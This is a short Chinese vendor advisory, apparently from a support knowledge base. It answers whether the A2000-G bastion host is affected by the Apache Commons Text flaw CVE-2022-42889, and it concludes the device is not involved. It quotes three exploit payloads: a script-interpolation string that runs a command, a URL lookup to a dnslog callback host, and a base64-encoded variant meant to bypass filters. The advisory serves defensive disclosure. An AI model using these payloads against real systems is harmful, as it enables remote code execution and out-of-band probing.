

知 堡垒机设备是否涉及Apache Commons Text 受影响版本中存在任意代码执行漏洞(CVE-2022-42889)

漏洞相关 王奎银 2022-10-21 发表

漏洞相关信息

漏洞编号: CVE-2022-42889

漏洞名称: Apache Commons Text 受影响版本中存在任意代码执行漏洞

产品型号及版本: A2000-G

漏洞描述

相关攻击特征:

// 命令执行

```
// String poc = interpolator.replace("${script:js:java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")}");
```

// SSRF

```
// String poc = interpolator.replace("${url:utf-8:http://123.d2kohg.dnslog.cn}");
```

// 命令执行base64编码绕过

```
String poc =  
interpolator.replace("${base64Decoder:JHtzY3JpcHQ6anM6amF2YS5sYW5nLlJ1bnRpbWUuZ2V0Un  
VudGltZSgpLmV4ZWMoIm9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvcj5hcHAiKX  
0=}");
```

漏洞解决方案

不涉及

